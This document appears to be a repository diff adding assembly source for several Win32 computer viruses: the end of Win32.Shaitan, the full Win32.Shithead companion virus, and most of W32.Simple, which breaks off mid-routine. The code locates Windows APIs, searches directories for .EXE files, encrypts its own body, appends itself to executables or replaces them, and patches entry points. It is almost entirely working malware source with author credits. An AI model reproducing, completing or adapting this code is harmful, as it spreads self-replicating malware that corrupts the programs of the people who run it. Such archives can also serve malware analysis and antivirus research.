add eax,[view_address+ebp] ; RVA >> VA (sorta)
|
||||
; Now EAX points to offset where we'll append the virus code...
|
||||
|
||||
push eax ; Save EAX
|
||||
mov byte ptr [key+ebp],0ffh ; Set encryption key to 0xFF
|
||||
call crypt ; Encrypt Vx data
|
||||
pop eax ; Restore EAX
|
||||
|
||||
mov edi,eax ; Location to copy to...
|
||||
mov esi,offset v_start ; Location to copy from...
|
||||
add esi,ebp ; Adjust with delta pointer
|
||||
mov ecx,code_len ; No. of bytes to copy
|
||||
rep movsb ; Copy all the bytes!
|
||||
|
||||
call crypt ; Decrypt Vx data
|
||||
|
||||
mov esi,[PE_hdr+ebp] ; ESI = Addr. of PE header
|
||||
mov eax,[new_ip+ebp] ; Get value of new EIP in EAX
|
||||
mov [esi+28h],eax ; Write it to the PE header
|
||||
mov eax,[inc_size_of_rawdata+ebp] ; Get inc. size of last section
|
||||
add [esi+50h],eax ; Add it to SizeOfImage
|
||||
|
||||
mov eax,[temp_ip+ebp] ; Get our saved host EIP
|
||||
mov [ori_ip+ebp],eax ; Restore...
|
||||
|
||||
mov [infect_status+ebp],1 ; Successful infection!
|
||||
|
||||
close_view:
|
||||
push ebp ; Save delta pointer
|
||||
push [view_address+ebp] ; Push view address on stack
|
||||
mov eax,[_UnmapViewOfFile+ebp] ; API to call
|
||||
call eax ; Call API to close view
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
close_map:
|
||||
push ebp ; Save delta pointer
|
||||
push [map_handle+ebp] ; Handle of mapping object
|
||||
mov eax,[_CloseHandle+ebp] ; Address of API call
|
||||
call eax ; Close mapping object
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
close_file:
|
||||
|
||||
truncate_file:
|
||||
push ebp ; Save delta pointer
|
||||
push FILE_BEGIN ; Move from start of file
|
||||
push L 0 ; Distance to move (high)
|
||||
push [adj_filesize+ebp] ; " " " "
|
||||
push [file_handle+ebp] ; Handle of file
|
||||
mov eax,[_SetFilePointer+ebp] ; API function to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta pointer
|
||||
cmp eax,0ffffffffh ; Seek failed?
|
||||
je final_close ; Yes. Jump...
|
||||
|
||||
push ebp ; Save delta pointer
|
||||
push [file_handle+ebp] ; Handle of file to truncate
|
||||
mov eax,[_SetEndOfFile+ebp] ; API to call
|
||||
call eax ; Call API to truncate file
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
; Now close the file...
|
||||
final_close:
|
||||
push ebp ; Save delta pointer
|
||||
push [file_handle+ebp] ; Handle of file to close
|
||||
mov eax,[_CloseHandle+ebp] ; Address of API call
|
||||
call eax ; Call API to close file
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
restore_attrib:
|
||||
push ebp ; Save delta
|
||||
push [ori_attrib+ebp] ; Original attributes
|
||||
push [testfile+ebp] ; ASCIIZ filename
|
||||
mov eax,[_SetFileAttributes+ebp] ; API to call
|
||||
call eax ; Restore original attributes
|
||||
pop ebp ; Restore delta
|
||||
|
||||
infect_end:
|
||||
mov eax,[infect_status+ebp] ; Success/Failure flag
|
||||
ret ; Return to caller
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; InfectCurrentDirectory - Infects upto 5 files in current directory
|
||||
;----------------------------------------------------------------------------
|
||||
InfectCurrentDirectory:
|
||||
|
||||
find_file:
|
||||
push ebp ; Save delta pointer
|
||||
mov eax,offset wfd_icd ; Returned "FileFind" info
|
||||
add eax,ebp ; Adjust with delta...
|
||||
push eax ; Push it onto the stack
|
||||
mov eax,offset file_match ; Search for "*.EXE"
|
||||
add eax,ebp ; Adjust with delta...
|
||||
push eax ; Push it onto the stack
|
||||
mov eax,[_FindFirstFileA+ebp] ; <<<
|
||||
call eax ; Call API to search for file
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
cmp eax,0ffffffffh ; No match found?
|
||||
je icd_end ; No. Cannot proceed...
|
||||
mov [icd_search_handle+ebp],eax ; Save search handle
|
||||
|
||||
mov eax,offset wfd_icd.cFileName ; Get filename of match file
|
||||
add eax,ebp ; Adjust with delta...
|
||||
mov [testfile+ebp],eax ; Save pointer to it...
|
||||
|
||||
cmp [wfd_icd.nFileSizeHigh+ebp],0 ; High 32-bits of filesize
|
||||
jne icd_findnext ; Way to big for us!
|
||||
|
||||
mov eax,[wfd_icd.nFileSizeLow+ebp] ; Get filesize...
|
||||
mov [adj_filesize+ebp],eax ; Save it
|
||||
mov [new_filesize+ebp],eax ; Save it (this'll change l8r)
|
||||
|
||||
call InfectFile ; Infect file "testfile"
|
||||
cmp eax,0 ; Successful?
|
||||
je icd_findnext ; No. Search for next file...
|
||||
inc [infect_counter+ebp] ; Yes. Increment counter
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max infect count reached?
|
||||
je close_file_handle ; Yes. Don't infect any more
|
||||
|
||||
icd_findnext:
|
||||
push ebp ; Save delta pointer
|
||||
mov eax,offset wfd_icd ; Offset of WFD structure
|
||||
add eax,ebp ; Adjust with delta pointer
|
||||
push eax ; Push up the stack
|
||||
push [icd_search_handle+ebp] ; Push search handle too
|
||||
mov eax,[_FindNextFileA+ebp] ; Address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
cmp eax,L 0 ; No match found?
|
||||
je close_file_handle ; No. Cannot proceed...
|
||||
|
||||
mov eax,offset wfd_icd.cFileName ; Get filename of match file
|
||||
add eax,ebp ; Adjust with delta...
|
||||
mov [testfile+ebp],eax ; Save pointer to it...
|
||||
|
||||
cmp [wfd_icd.nFileSizeHigh+ebp],0 ; High 32-bits of filesize
|
||||
jne icd_findnext ; Way too big! Next...
|
||||
|
||||
mov eax,[wfd_icd.nFileSizeLow+ebp] ; Get filesize...
|
||||
mov [adj_filesize+ebp],eax ; Save it
|
||||
mov [new_filesize+ebp],eax ; Save it (this'll change l8r)
|
||||
|
||||
call InfectFile ; Infect file "testfile"
|
||||
cmp eax,0 ; Successful?
|
||||
je icd_findnext ; No. Search for next file...
|
||||
inc [infect_counter+ebp] ; Yes. Increment counter
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max infect count reached?
|
||||
jne icd_findnext ; No. Search next...
|
||||
|
||||
close_file_handle:
|
||||
push ebp ; Save delta
|
||||
mov eax,[icd_search_handle+ebp] ; Handle of search
|
||||
push eax ; Push it onto stack
|
||||
mov eax,[_FindClose+ebp] ; Get address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta
|
||||
|
||||
icd_end:
|
||||
ret
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Search&InfectDirs -
|
||||
;----------------------------------------------------------------------------
|
||||
Search&InfectDirs:
|
||||
call SetDir ; Change to directory in EAX
|
||||
cmp eax,0 ; Failure?
|
||||
je sid_end ; Yeah. Quit...
|
||||
|
||||
push ebp ; Save delta
|
||||
mov eax,offset wfd_dir ; Address of struct to hold find-data
|
||||
add eax,ebp ; Adjust with delta
|
||||
push eax ; Push onto stack
|
||||
mov eax,offset dir_match ; File pattern to search for...
|
||||
push eax ; Push onto stack
|
||||
mov eax,[_FindFirstFileA+ebp]; API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta
|
||||
|
||||
cmp eax,0ffffffffh ; No match???
|
||||
je sid_end ; Yes. Can't continue...
|
||||
|
||||
mov [dir_search_handle+ebp],eax ; Save search handle
|
||||
|
||||
cmp [wfd_dir.dwFileAttributes+ebp],FILE_ATTRIBUTE_DIRECTORY
|
||||
jne sid_next_dir ; Not a directory, serch for next...
|
||||
|
||||
mov eax,offset wfd_dir.cFileName; Name of found directory
|
||||
add eax,ebp ; Adjust with delta
|
||||
call SetDir ; Change to that directory
|
||||
|
||||
call InfectCurrentDirectory ; Infect files there
|
||||
|
||||
mov eax,offset dot_dot ; Move one directory down (..)
|
||||
add eax,ebp ; Adjust with delta
|
||||
call SetDir ; Change to that directory
|
||||
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||||
je close_dir_handle ; Yes. Don't continue...
|
||||
|
||||
sid_next_dir:
|
||||
push ebp ; Save delta
|
||||
mov eax,offset wfd_dir ; Find-data structure
|
||||
add eax,ebp ; Adjust with delta
|
||||
push eax ; Push onto stack
|
||||
push [dir_search_handle+ebp] ; Push search handle too
|
||||
mov eax,[_FindNextFileA+ebp] ; API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta
|
||||
|
||||
cmp eax,L 0 ; No more dirs?
|
||||
je close_dir_handle ; No. Exit...
|
||||
|
||||
cmp [wfd_dir.dwFileAttributes+ebp],FILE_ATTRIBUTE_DIRECTORY
|
||||
jne sid_next_dir ; Not a directory. Search again...
|
||||
|
||||
mov eax,offset wfd_dir.cFileName; Name of found directory
|
||||
add eax,ebp ; Adjust
|
||||
call SetDir ; Change to found directory
|
||||
|
||||
call InfectCurrentDirectory ; Infect files in directory
|
||||
|
||||
mov eax,offset dot_dot ; Move back one directory
|
||||
add eax,ebp ; Adjust...
|
||||
call SetDir ; Change to that directory
|
||||
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max # of files infected?
|
||||
je close_dir_handle ; Yes. Don't continue...
|
||||
|
||||
jmp sid_next_dir ; Loop...
|
||||
|
||||
close_dir_handle:
|
||||
push ebp ; Save delta
|
||||
mov eax,[dir_search_handle+ebp] ; Handle of search
|
||||
push eax ; Push it onto stack
|
||||
mov eax,[_FindClose+ebp] ; Get address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta
|
||||
|
||||
sid_end:
|
||||
ret ; Return to caller
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Crypt - En/Decrypts vx data
|
||||
;----------------------------------------------------------------------------
|
||||
crypt:
|
||||
mov esi,offset crypt_start ; Start of data to en/decrypt
|
||||
add esi,ebp ; Adjust with delta
|
||||
mov ah,byte ptr [key+ebp] ; Retrieve encryption key
|
||||
mov ecx,crypt_end - crypt_start ; No. of bytes to encrypt
|
||||
crypt_loop:
|
||||
xor byte ptr [esi],ah ; Encrypt one byte
|
||||
inc esi ; Point to next byte to encrypt
|
||||
loop crypt_loop ; Loop till done...
|
||||
ret ; Return to caller
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Virus data -
|
||||
;----------------------------------------------------------------------------
|
||||
crypt_start:
|
||||
|
||||
testfile dd ?
|
||||
file_handle dd ?
|
||||
map_handle dd ?
|
||||
view_address dd ?
|
||||
file_match db "*.EXE",0
|
||||
dir_match db "*.*",0
|
||||
wfd_icd WIN32_FIND_DATA ?
|
||||
wfd_dir WIN32_FIND_DATA ?
|
||||
adj_filesize dd ?
|
||||
new_filesize dd ?
|
||||
PE_hdr dd ?
|
||||
ori_ip dd ?
|
||||
new_ip dd ?
|
||||
temp_ip dd ?
|
||||
file_align dd ?
|
||||
ori_size_of_rawdata dd ?
|
||||
size_of_rawdata dd ?
|
||||
inc_size_of_rawdata dd ?
|
||||
module_base dd ?
|
||||
infect_status dd ?
|
||||
infect_counter dd ?
|
||||
icd_search_handle dd ?
|
||||
dir_search_handle dd ?
|
||||
start_dir db 128 dup (0)
|
||||
win_dir db 128 dup (0)
|
||||
root_dir_c db "C:\",0
|
||||
root_dir_d db "D:\",0
|
||||
dot_dot db "..",0
|
||||
ori_attrib dd ?
|
||||
|
||||
NumberOfFunctions dd ?
|
||||
AddressOfFunctions dd ?
|
||||
AddressOfNames dd ?
|
||||
AddressOfOrdinals dd ?
|
||||
|
||||
GPA_string db "GetProcAddress",0
|
||||
GPA_string_len equ $ - offset GPA_string
|
||||
_GetProcAddress dd ?
|
||||
|
||||
GMH_string db "GetModuleHandleA",0
|
||||
GMH_string_len equ $ - offset GMH_string
|
||||
|
||||
; ASCIIZ strings of all API functions we need. The DWORDs following the API
|
||||
; names will store their respective addresses...
|
||||
API_strings:
|
||||
CF_string db "CreateFileA",0
|
||||
_CreateFileA dd ?
|
||||
CFM_string db "CreateFileMappingA",0
|
||||
_CreateFileMappingA dd ?
|
||||
MVOF_string db "MapViewOfFile",0
|
||||
_MapViewOfFile dd ?
|
||||
CH_string db "CloseHandle",0
|
||||
_CloseHandle dd ?
|
||||
FFF_string db "FindFirstFileA",0
|
||||
_FindFirstFileA dd ?
|
||||
FNF_string db "FindNextFileA",0
|
||||
_FindNextFileA dd ?
|
||||
FC_string db "FindClose",0
|
||||
_FindClose dd ?
|
||||
SFP_string db "SetFilePointer",0
|
||||
_SetFilePointer dd ?
|
||||
SEOF_string db "SetEndOfFile",0
|
||||
_SetEndOfFile dd ?
|
||||
GCD_string db "GetCurrentDirectoryA",0
|
||||
_GetCurrentDirectory dd ?
|
||||
SCD_string db "SetCurrentDirectoryA",0
|
||||
_SetCurrentDirectory dd ?
|
||||
GWD_string db "GetWindowsDirectoryA",0
|
||||
_GetWindowsDirectory dd ?
|
||||
GCL_string db "GetCommandLineA",0
|
||||
_GetCommandLine dd ?
|
||||
UVOF_string db "UnmapViewOfFile",0
|
||||
_UnmapViewOfFile dd ?
|
||||
GFA_string db "GetFileAttributesA",0
|
||||
_GetFileAttributes dd ?
|
||||
SFA_string db "SetFileAttributesA",0
|
||||
_SetFileAttributes dd ?
|
||||
GDT_string db "GetDriveTypeA",0
|
||||
_GetDriveType dd ?
|
||||
NoMoreAPI_string dd 'SLAM'
|
||||
|
||||
k32_string db "KERNEL32.DLL",0
|
||||
kernel32 dd ?
|
||||
|
||||
; Take credit for writing all this stuff :) ...
|
||||
copyright db "Win32.Shaitan (c) 1998 The Shaitan [SLAM]",0
|
||||
|
||||
; Now do a Dark Avenger impersonation :P
|
||||
dav_string db "This virus was written in the city of Mumbai",0
|
||||
|
||||
crypt_end:
|
||||
|
||||
key db 0
|
||||
|
||||
v_end:
|
||||
|
||||
ends
|
||||
end v_start
|
||||
|
||||
|
||||
|
||||
|
||||
|
111
Win32/Win32.Shithead.asm
Normal file
111
Win32/Win32.Shithead.asm
Normal file
@ -0,0 +1,111 @@
|
||||
.386P
|
||||
Locals
|
||||
jumps
|
||||
|
||||
.Model Flat ,StdCall
|
||||
|
||||
;Simple win32 companion Self Replicating Automation
|
||||
;Jheronimus Bolch - Meta Informatic Syndrome Patients
|
||||
;code is shit but it's simple-hope so....
|
||||
extrn ExitProcess : PROC
|
||||
extrn GetCommandLineA : PROC
|
||||
extrn MessageBoxA : PROC
|
||||
extrn MoveFileA:PROC
|
||||
extrn FindFirstFileA:Proc
|
||||
extrn FindNextFileA:Proc
|
||||
extrn CopyFileA:PROC
|
||||
extrn DeleteFileA:PROC
|
||||
|
||||
|
||||
.Data
|
||||
|
||||
text db "bU-hahahaahahahaha",13,10 ;
|
||||
db "The companion is getting alive...",0
|
||||
|
||||
|
||||
caption db "Hell0",0
|
||||
keimeno db "simple companion w32 virus",13,10
|
||||
"basically for assembly coding practice",13,10
|
||||
"Hope you'll enjoy the code...",13,10
|
||||
"w32.shithead",13,10
|
||||
"by Jack Daniels",0
|
||||
psaxnogia db "*.exe",0
|
||||
|
||||
search_handle dd 0
|
||||
|
||||
myname db 40h dup (0)
|
||||
newname db 40h dup (0)
|
||||
search_data db 318 dup (0)
|
||||
.Code
|
||||
Main:
|
||||
call GetCommandLineA
|
||||
mov ecx,0
|
||||
jampo:
|
||||
mov bl,byte ptr[eax+1]
|
||||
mov byte ptr[myname+ecx],bl
|
||||
inc eax
|
||||
inc ecx
|
||||
cmp bl,22h
|
||||
jne jampo
|
||||
dec ecx
|
||||
mov byte ptr[myname+ecx],0
|
||||
|
||||
|
||||
push offset search_data
|
||||
push offset psaxnogia
|
||||
|
||||
call FindFirstFileA
|
||||
|
||||
cmp eax,-1
|
||||
je exit
|
||||
mov search_handle,eax
|
||||
call infect
|
||||
more:
|
||||
|
||||
|
||||
mov eax,[search_handle]
|
||||
push offset search_data
|
||||
push eax
|
||||
|
||||
|
||||
call FindNextFileA
|
||||
cmp eax,0
|
||||
je exit
|
||||
cmp byte ptr[search_data+44],"_"
|
||||
je exit
|
||||
|
||||
call infect
|
||||
jmp more
|
||||
|
||||
infect:
|
||||
mov ecx,0
|
||||
mov byte ptr[newname+ecx],"_"
|
||||
newnamecreation:
|
||||
inc ecx
|
||||
mov bl,byte ptr[search_data+44+ecx-1]
|
||||
mov byte ptr[newname+ecx],bl
|
||||
cmp bl,0
|
||||
jne newnamecreation
|
||||
push 0
|
||||
push offset caption
|
||||
push offset newname
|
||||
push 0
|
||||
call MessageBoxA
|
||||
push offset [search_data+44]
|
||||
call DeleteFileA
|
||||
push 1h
|
||||
push offset [search_data+44]
|
||||
push offset myname
|
||||
call CopyFileA
|
||||
|
||||
push 1h
|
||||
push offset newname
|
||||
push offset [search_data+44]
|
||||
call CopyFileA
|
||||
ret
|
||||
|
||||
exit:
|
||||
CALL ExitProcess
|
||||
|
||||
|
||||
End Main
|
1465
Win32/Win32.Shrug.asm
Normal file
1465
Win32/Win32.Shrug.asm
Normal file
File diff suppressed because it is too large
Load Diff
330
Win32/Win32.Simple.asm
Normal file
330
Win32/Win32.Simple.asm
Normal file
@ -0,0 +1,330 @@
|
||||
; [ W32.Simple by XXXXXX ]
|
||||
; -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
; THIS IS A VERY SMALL AND SIMPLE WIN32 PE INFECTOR.. IT INFECTS ONLY
|
||||
; FILES IN THE CURRENT DIRECTORY. THIS VIRUS IS NOT SUPOSED TO BE IN
|
||||
; THE WILD SO I DON'T WANTED TO INCLUDE WINDIR INFECTION OR DIRECTORY
|
||||
; TRAVERSEL... I JUST WANTED TO WRITE A SMALL STABILE WIN32 VIRUS :)
|
||||
; THERE'S NOT MUCH TO MENTION ABOUT THIS EXEPT A FEW THINGS: I DON'T
|
||||
; USE FILE-MAPPING, LOOK WHY BELLOW. ALL THE ROUTINES ARE NOT COPIED
|
||||
; FROM SOMEONE ELSE. COZ THIS IS MY FIRST WIN32 VIRUS I READ A COUPLE
|
||||
; OF TUTORS BUT THE THING IS I TRIED TO UNDERSTAND THINGS INSTEAD OF
|
||||
; JUST PASTE CODE. I TRIED MY BEST IN OPTIMIZING COMMON STRUCTURES
|
||||
; LIKE INFECTION AND EXPORT-TABLE SCANNING. THE ENCRYPTION IS LAME AS
|
||||
; FUCK... SO... IT'S JUST MY FIRST VIRUS DON'T EXPECT TO MUCH :)
|
||||
; PLEASE WRITE TO [XXXXXX@GMX.NET] XXXXXX
|
||||
; -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
|
||||
.486
|
||||
.MODEL FLAT, STDCALL
|
||||
OPTION CASEMAP:NONE
|
||||
|
||||
INCLUDE \MASM32\INCLUDE\KERNEL32.INC
|
||||
INCLUDELIB \MASM32\LIB\KERNEL32.LIB
|
||||
|
||||
VIRUS_SIZE EQU VIRUS_END - VIRUS_START
|
||||
MAX_PATH EQU 104H
|
||||
OF_READ EQU 000H
|
||||
GHND EQU 002H OR 040H
|
||||
FILE_ATTRIBUTE_NORMAL EQU 080H
|
||||
|
||||
.CODE
|
||||
FIRST_GEN:
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
VIRUS_START:
|
||||
PUSHAD
|
||||
CALL DELTA
|
||||
DELTA: POP EBP
|
||||
SUB EBP, DELTA ; EBP = DELTA OFFSET
|
||||
|
||||
XOR_KEY:MOV DH,0 ; WILL BE PATCHED LATER...
|
||||
LEA ESI, [ EBP + E_START ] ; SO NO XOR EDX, EDX :)
|
||||
PUSH ESI
|
||||
MOV ECX, VIRUS_END - E_START
|
||||
|
||||
;________________ _ _ _ [ -ENCRYPT- ] _ _ _ __
|
||||
ENCRYPT:XOR BYTE PTR [ ESI ], DH ; EN/DE-CRYPTS THE VIRUS_BDY
|
||||
ROL DH, 1 ; VERY LAME I KNOW...
|
||||
INC ESI
|
||||
DEC ECX
|
||||
JNZ ENCRYPT
|
||||
RET
|
||||
|
||||
E_START:CALL GET_KERNEL ; GET KERNEL BASE
|
||||
|
||||
MOV ECX, 14
|
||||
LEA ESI, [ EBP + ___KERNEL32 ]
|
||||
CALL GET_APIS ; GET KERNEL API'S
|
||||
|
||||
CALL INFECT_DIR ; INFECT SOME FILES
|
||||
|
||||
ERR_EXT:POPAD
|
||||
HRETURN:PUSH DWORD PTR OFFSET FIRST_GEN ; RETURN TO HOST
|
||||
RET ; WILL BE PATCHED LATER
|
||||
|
||||
;________________ _ _ _ [ -GET_KERNEL- ] _ _ _ __
|
||||
GET_KERNEL: ; RETURNS THE KERNEL BASE
|
||||
MOV ECX, [ ESP + 9 * 4 ] ; SIMPLE BUT SMALL :)
|
||||
@@: DEC ECX
|
||||
MOVZX EDX, WORD PTR [ ECX + 03CH ] ; EDX = POINTER TO PE_HDR
|
||||
CMP ECX, [ ECX + EDX + 034H ] ; COMPARE CURRENT BASE WITH
|
||||
JNZ @B ; THE KERNEL IMAGE_BASE (MZ)
|
||||
MOV [ EBP + _KERNEL ], ECX ; STORE RESULT
|
||||
MOV [ EBP + _DEFAULT ], ECX
|
||||
RET
|
||||
|
||||
;________________ _ _ _ [ -GET_APIS- ] _ _ _ __
|
||||
GET_APIS: ; SCANS THROUGHT API TABLE
|
||||
INC ESI ; AND RETURNS ADDRESSES
|
||||
PUSH ECX
|
||||
CALL GET_API ; SEARCH API ADDRESS
|
||||
POP ECX
|
||||
MOVZX EBX, BYTE PTR [ ESI - 1 ]
|
||||
ADD ESI, EBX ; STORE ADDRESS IN THE
|
||||
MOV [ ESI ], EAX ; API TABLE...
|
||||
ADD ESI, 4
|
||||
LOOP GET_APIS ; NEXT ONE
|
||||
RET
|
||||
|
||||
;________________ _ _ _ [ -GET_API- ] _ _ _ __
|
||||
GET_API: ; SCANS FOR A SINGLE API ADR
|
||||
MOV EDX, [ EBP + _DEFAULT ] ; EDX = DEFAULT MODULE BASE
|
||||
ADD EDX, [ EDX + 03CH ] ; + OFFSET PE_HEADER
|
||||
MOV EDX, [ EDX + 078H ] ; EDX = PTR EXPORT_DIR RVA
|
||||
ADD EDX, [ EBP + _DEFAULT ] ; + BASE
|
||||
MOV EDI, [ EDX + 020H ] ; EDI = PTR ADDRESS_OF_NAMES RVA
|
||||
ADD EDI, [ EBP + _DEFAULT ] ; + BASE
|
||||
MOV EDI, [ EDI ] ; EDI = PTR ADR_OF_NAMES RVA
|
||||
ADD EDI, [ EBP + _DEFAULT ] ; + BASE
|
||||
MOV EAX, [ EDX + 018H ] ; EAX = NUMBER_OF_NAMES
|
||||
XOR EBX, EBX
|
||||
NXT_ONE:INC EBX
|
||||
MOVZX ECX, BYTE PTR [ ESI - 1 ] ; LENGHT OF SPEZIFED API NAME
|
||||
PUSH ESI
|
||||
PUSH EDI
|
||||
REPZ CMPSB ; COMPARE API NAME WITH
|
||||
POP EDI ; EXPORT ENTRY
|
||||
POP ESI
|
||||
JZ FOUND
|
||||
PUSH EAX
|
||||
XOR AL, AL
|
||||
SCASB ; GET NEXT ONE
|
||||
JNZ $ - 1
|
||||
POP EAX
|
||||
DEC EAX ; DECREASE NUMBER_OF_NAMES
|
||||
JZ ERR_EXT
|
||||
JMP NXT_ONE
|
||||
FOUND: MOV ECX, [ EDX + 024H ] ; ECX = PTR NBR_NAME_ORDS RVA
|
||||
ADD ECX, [ EBP + _DEFAULT ] ; + BASE
|
||||
DEC EBX
|
||||
MOVZX EAX, WORD PTR [ ECX + EBX * 2 ] ; EAX = ORDINAL OF FUNCTION
|
||||
MOV EBX, [ EDX + 01CH ] ; EBX = PTR ADR_OF_FUNCTIONS RVA
|
||||
ADD EBX, [ EBP + _DEFAULT ] ; + BASE
|
||||
MOV EAX, [ EBX + EAX * 4 ] ; EAX = FUNCTION RVA!!!!
|
||||
ADD EAX, [ EBP + _DEFAULT ] ; + BASE
|
||||
RET
|
||||
|
||||
;________________ _ _ _ [ -INFECT_DIRECTORY- ] _ _ _ __
|
||||
INFECT_DIR: ; SEARCH ALL EXECUTABLES IN
|
||||
LEA EAX, [ EBP + W32FINDDATA ] ; THE SPEZIFED DIRECTORY
|
||||
PUSH EAX
|
||||
LEA EAX, [ EBP + FILE_MASK ]
|
||||
PUSH EAX
|
||||
CALL [ EBP + _FINDFIRSTFILE ]
|
||||
INC EAX
|
||||
JZ _S_OUT
|
||||
DEC EAX
|
||||
MOV [ EBP + S_HANDLE ], EAX
|
||||
_S_SCAN:
|
||||
CMP [ EBP + FILESIZEH ], 0 ; ONLY FILES UNDER 4 GIGS...
|
||||
JNZ _NEXT
|
||||
CALL INFECT_FILE ; PE FOUND SO INFECT IT!
|
||||
_NEXT:
|
||||
LEA EAX, [ EBP + W32FINDDATA ]
|
||||
PUSH EAX
|
||||
PUSH [ EBP + S_HANDLE ]
|
||||
CALL [ EBP + _FINDNEXTFILE ]
|
||||
TEST EAX, EAX
|
||||
JNZ _S_SCAN
|
||||
_S_CLOSE:
|
||||
PUSH [ EBP + S_HANDLE ]
|
||||
CALL [ EBP + _FINDCLOSE ]
|
||||
_S_OUT: RET
|
||||
|
||||
;________________ _ _ _ [ -OPEN_FILE- ] _ _ _ __
|
||||
INFECT_FILE: ; OPENS A FILE AND ALLOCATE MEM
|
||||
PUSH FILE_ATTRIBUTE_NORMAL ; I DON'T USE FILEMAPPING COZ
|
||||
LEA EAX, [ EBP + FILENAME ] ; I SIMPLY HATE IT... IMAGINE
|
||||
PUSH EAX ; YOU MAP A FILE AND BEGIN TO
|
||||
CALL [ EBP + _SETFILEATTRIBUTES ] ; MAKE THE FIRST CHANGES, NOW
|
||||
; YOU REALIZE THE PE IS NOT
|
||||
PUSH OF_READ ; VALID OR CORRUPTED (PACKED
|
||||
LEA EAX, [ EBP + FILENAME ] ; FILES OR SOME MS PE'S
|
||||
PUSH EAX ; [OUTLOOK])... THIS PE SHOULD
|
||||
CALL [ EBP + __LOPEN ] ; BE HISTORY NOW :) I USED IT
|
||||
MOV [ EBP + FILEHANDLE ], EAX ; BEFORE AND MUST SAY THAT
|
||||
MOV EAX, [ EBP + FILESIZE ] ; I HAD TONS OF PROBLEMS WITH
|
||||
ADD [ EBP + MAPSIZE ], EAX ; THIS TECHNIQUE...
|
||||
PUSH [ EBP + MAPSIZE ]
|
||||
PUSH GHND
|
||||
CALL [ EBP + _GLOBALALLOC ]
|
||||
MOV [ EBP + H_BUFFER ], EAX
|
||||
PUSH EAX
|
||||
CALL [ EBP + _GLOBALLOCK ] ; ALLOCATE MEM FOR THE FILE +
|
||||
TEST EAX, EAX ; VIRUS_BODY
|
||||
JZ _EXIT
|
||||
MOV [ EBP + M_BUFFER ], EAX
|
||||
PUSH [ EBP + FILESIZE ]
|
||||
PUSH [ EBP + M_BUFFER ]
|
||||
PUSH [ EBP + FILEHANDLE ]
|
||||
CALL [ EBP + __LREAD ] ; READ ENTIRE FILE TO BUFFER
|
||||
PUSH [ EBP + FILEHANDLE ]
|
||||
CALL [ EBP + __LCLOSE ]
|
||||
|
||||
;________________ _ _ _ [ -INFECT_FILE- ] _ _ _ __
|
||||
MOV EDI, [ EBP + M_BUFFER ] ; EDI = POINTER TO MEM BLOCK
|
||||
CMP WORD PTR [ EDI ], "ZM" ; DO SOME CHECKS (MZ/PE/INFMARK)
|
||||
JNZ _EXIT
|
||||
ADD EDI, [EDI + 03CH] ; EDI = POINTER TO PE_HDR
|
||||
CMP WORD PTR [ EDI ], "EP"
|
||||
JNZ _EXIT
|
||||
CMP DWORD PTR [ EDI + 04CH ], 0
|
||||
JNZ _EXIT
|
||||
; RETURN LAST SECTION
|
||||
MOV ECX, [ EDI + 074H ] ; ECX = NUMBER_OF_RVA_AND_SIZES
|
||||
LEA ECX, [ ECX * 8 + EDI ] ; x 8 + OFFSET PE_HEADER
|
||||
MOVZX EAX, WORD PTR [ EDI + 006H ] ; EAX = NUMBER_OF_SECTIONS
|
||||
DEC EAX ; - 1
|
||||
LEA EBX, [ EAX + EAX * 4 ] ; EBX = EAX x 28H
|
||||
LEA EBX, [ EBX * 8 ] ; ...
|
||||
LEA EBX, [ EBX + ECX + 078H ] ; EBX = EBX + ECX + 078H
|
||||
|
||||
MOV EAX, VIRUS_SIZE
|
||||
XADD [ EBX + 008H ], EAX ; CHANGE VIRTUALSIZE
|
||||
CMP EAX, [ EBX + 010H ]
|
||||
JA _EXIT
|
||||
|
||||
PUSH EAX
|
||||
PUSH DWORD PTR [ EBX + 010H ]
|
||||
ADD EAX, VIRUS_SIZE
|
||||
XOR EDX, EDX
|
||||
MOV ECX, [ EDI + 03CH ]
|
||||
DIV ECX
|
||||
INC EAX
|
||||
IMUL EAX, ECX
|
||||
MOV [ EBX + 010H ], EAX ; CHANGE SIZE_OF_RAW_DATA
|
||||
|
||||
POP ECX
|
||||
MOV EAX, [ EBX + 010H ]
|
||||
SUB EAX, ECX ; CHANGE SIZE_OF_IMAGE
|
||||
ADD [ EDI + 050H ], EAX
|
||||
; CHANGE ATTRIBS & INFMARK
|
||||
OR DWORD PTR [ EBX + 024H ], 0C0000000H
|
||||
MOV DWORD PTR [ EDI + 04CH ], 'BDHP'
|
||||
|
||||
POP EAX
|
||||
ADD EAX, [ EBX + 00CH ]
|
||||
XCHG [ EDI + 028H ], EAX ; CHANGE ENTRY_POINT
|
||||
ADD EAX, [ EDI + 034H ]
|
||||
|
||||
MOV EDI, [ EBX + 014H ] ; VIRUS_POS = VIRT_ADR +
|
||||
ADD EDI, [ EBX + 008H ] ; VIRT_SIZE
|
||||
MOV ECX, VIRUS_SIZE
|
||||
SUB EDI, ECX
|
||||
ADD EDI, [ EBP + M_BUFFER ]
|
||||
LEA ESI, [ EBP + VIRUS_START ]
|
||||
